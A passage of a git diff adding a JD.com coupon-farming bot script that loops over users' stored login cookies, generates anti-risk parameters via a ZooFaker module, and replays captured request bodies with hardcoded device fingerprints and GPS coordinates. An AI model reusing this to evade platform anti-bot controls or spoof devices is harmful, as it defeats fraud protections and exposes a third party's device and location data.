getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_necklace.js b/backUp/jd_necklace.js new file mode 100644 index 0000000..8a32c86 --- /dev/null +++ b/backUp/jd_necklace.js @@ -0,0 +1,523 @@ +/* +点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购) +Last Modified time: 2021-05-28 17:27:14 +活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html) +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#点点券 +20 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + + */ +const $ = new Env('点点券'); +const ZooFaker=require('./ZooFaker_Necklace.js').utils; +let allMessage = ``; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D` + +$.UA = ``; +$.UUID = ``; +$.joyytoken_count = 1 +getUA() +let message = ''; +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // console.log(`\n通知:[非法请求] 可以等5分钟左右再次执行脚本\n`); + console.log(`\n脚本失效 [非法请求]\n`); + return + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + errorMsgLllegal = 0 + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + await jd_necklace(); + // break + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: openUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_necklace() { + try { + await necklace_homePage(); + await $.wait(2000) + await doTask(); + await $.wait(2000) + await sign(); + await $.wait(2000) + await necklace_homePage(); + await receiveBubbles(); + await necklace_homePage(); + // // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 + await showMsg(); + await $.wait(2000) + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(async resolve => { + $.msg($.name, '', `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl}); + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index}`, `京东账号${$.index}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) + if ($.isNode() && (nowTimes.getHours() >= 20 || errorMsgLllegal > 0) && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}` + } + resolve() + }) +} +async function doTask() { + for (let item of $.taskConfigVos) { + if (item.taskStage === 0) { + console.log(`【${item.taskName}】 任务未领取,开始领取此任务`); + let res = await necklace_startTask(item.id); + if(res && res.rtn_code == 0){ + console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); + await $.wait(2000); + await reportTask(item); + await $.wait(2000) + } + } else if (item.taskStage === 2) { + console.log(`【${item.taskName}】 任务已做完,奖励未领取`); + } else if (item.taskStage === 3) { + console.log(`${item.taskName}奖励已领取`); + } else if (item.taskStage === 1) { + console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`); + await reportTask(item); + await $.wait(2000) + } + } +} +async function receiveBubbles() { + for (let item of $.bubbles) { + console.log(`\n开始领取点点券`); + await necklace_chargeScores(item.id) + await $.wait(2000) + } +} +async function sign() { + if ($.signInfo && $.signInfo.todayCurrentSceneSignStatus === 1) { + console.log(`\n开始每日签到`) + await necklace_sign(); + } else if($.signInfo) { + console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`) + } +} +async function reportTask(item = {}) { + //普通任务 + if (item['taskType'] === 2) await necklace_startTask(item.id, 'necklace_reportTask'); + //逛很多商品店铺等等任务 + if (item['taskType'] === 6 || item['taskType'] === 8 || item['taskType'] === 5 || item['taskType'] === 9) { + //浏览精选活动任务 + await necklace_getTask(item.id); + $.taskItems = $.taskItems.filter(value => !!value && value['status'] === 0); + for (let vo of $.taskItems) { + console.log(`浏览精选活动 【${vo['title']}】`); + await necklace_startTask(item.id, 'necklace_reportTask', vo['id']); + } + } + //首页浏览XX秒的任务 + // console.log(item) + if (item['taskType'] === 3) await doAppTask('3', item.id); + if (item['taskType'] === 4) await doAppTask('4', item.id); +} +//每日签到福利 +function necklace_sign() { + return new Promise(async resolve => { + $.action = 'sign' + const body=await ZooFaker.get_risk_result($) + // const body = { + // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + // } + $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + console.log(`签到成功,时间:${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`每日签到失败:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + } else { + console.log(`每日签到失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换无门槛红包 +function necklace_exchangeGift(scoreNums) { + return new Promise(resolve => { + const body = { + scoreNums, + "giftConfigId": 31, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + const { result } = data.data; + message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`; + message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`; + console.log(message) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//领取奖励 +function necklace_chargeScores(bubleId) { + return new Promise(async resolve => { + $.id = bubleId + $.action = 'chargeScores' + const body=await ZooFaker.get_risk_result($); + // const body = { + // bubleId, + // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + // } + $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`领取奖励失败:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + }else{ + console.log(`领取奖励失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = "") { + return new Promise(async resolve => { + let body = { + taskId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + if(functionId == 'necklace_startTask'){ + $.id = taskId + $.action = 'startTask' + body=await ZooFaker.get_risk_result($) + }else{ + if (itemId) body['itemId'] = itemId; + } + $.post(taskPostUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`); + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + }else{ + console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function necklace_getTask(taskId) { + return new Promise(resolve => { + const body = { + taskId, + currentDate: $.lastRequestTime.replace(/:/g, "%3A"), + } + $.taskItems = []; + $.post(taskPostUrl("necklace_getTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + $.taskItems = data.data.result && data.data.result.taskItems; + } + }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ + console.log(`浏览精选活动失败:${data.rtn_msg}\n`) + errorMsgLllegal += 1 + getUA() + }else{ + console.log(`浏览精选活动失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function necklace_homePage() { + $.taskConfigVos = []; + $.bubbles = []; + $.signInfo = {}; + return new Promise(resolve => { + $.post(taskPostUrl('necklace_homePage'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.rtn_code === 0) { + if (data.data.biz_code === 0) { + $.taskConfigVos = data.data.result.taskConfigVos; + $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + $.lastRequestTime = data.data.result.lastRequestTime; + $.bubbles = data.data.result.bubbles; + $.signInfo = data.data.result.signInfo; + $.totalScore = data.data.result.totalScore; + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function doAppTask(type = '3', id) { + console.log(id) + let functionId = 'getCcTaskList' + let body = "area=16_1315_3486_59648&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22globalLat%22%3A%2224.49335%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22globalLng%22%3A%22118.1423%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=75afd018b5751e9ac4cba0b51b8adb3c&st=1624535152771&sv=101&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b" + await getCcTaskList(functionId, body, type); + if(Number(id) == 229){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22taskId%22%3A%22necklace_229%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=57453a76ffe9440d7961b05405fb4f13&st=1624535165882&sv=110&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 260){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49435886957707%22%2C%22taskId%22%3A%22necklace_260%22%2C%22lng%22%3A%22118.144791637343%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167568&client=apple&clientVersion=9.4.2&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=93249982ced7ec850c69de8b3e859dab&st=1624610691429&sv=110&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSTfJm3Nbyn7GqB7OtrJRuHoZMYV%2Bs0mkEZsSwjxzwlDPXLeepml5BnM5XPZQmPVomYBHlkSfLJWR5D1y0Ovgf60fpjMS2gXL5aLh50cNO3cmx2GvVTaTeYxvRUl%2BpaW7HXsuBhxJgA6pUzd01tBX9yiFih8xvToesg91Nl8KcWGYzXJ2/hWKXg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 267){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49437467152672%22%2C%22taskId%22%3A%22necklace_267%22%2C%22lng%22%3A%22118.1447981202065%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=64e2361aa2a81068930c0c3325fd45ef&st=1624950832218&sv=111&uemps=0-0&uts=0f31TVRjBSsMGLCxYS3UIqlZl8dbXmnuZ4ayfhN43Ot1QaV41onc66czNm7agt5ZxuI/ZiEjTyLMd9C68bu6j250BhqFBz9aHYMZHRsZRt99av4Tsia77GOWxlDaSYf5ixm0pZhBRR4OQ%2BUBD6%2BPW4wCMOS5CO3/VI2cFHPfi%2BdGNinbfncIha86vGUGuGKiHSAf4rUFY4wrafX6Rksw7g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 273){ + body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.494383110087%22%2C%22taskId%22%3A%22necklace_273%22%2C%22lng%22%3A%22118.1447767134287%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=71&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c5f1773c699259a32596629ff17c77af&st=1627034890276&sv=101&uemps=0-0&uts=0f31TVRjBSuc9dw/M%2Bj%2BYjMPuoLDUbUPjPag%2BZ5OSbdXPyIGbVBxfPOWG8Z24KZdpryfyfoAUE5oYfYi1SuqGZ5atF1ARqzdFrPeo%2BZQVMmuwn/nYDGsLdj0Q9HcidhJXAaY1ti0j023Mv4f/ls51fJl5ypecBgw2sWtd8KiGQncYOe9GxCz6tlkHuSHDk3zN6hF%2BN0deRJOqJP8OOrJog%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` + }else if(Number(id) == 281){ + body = 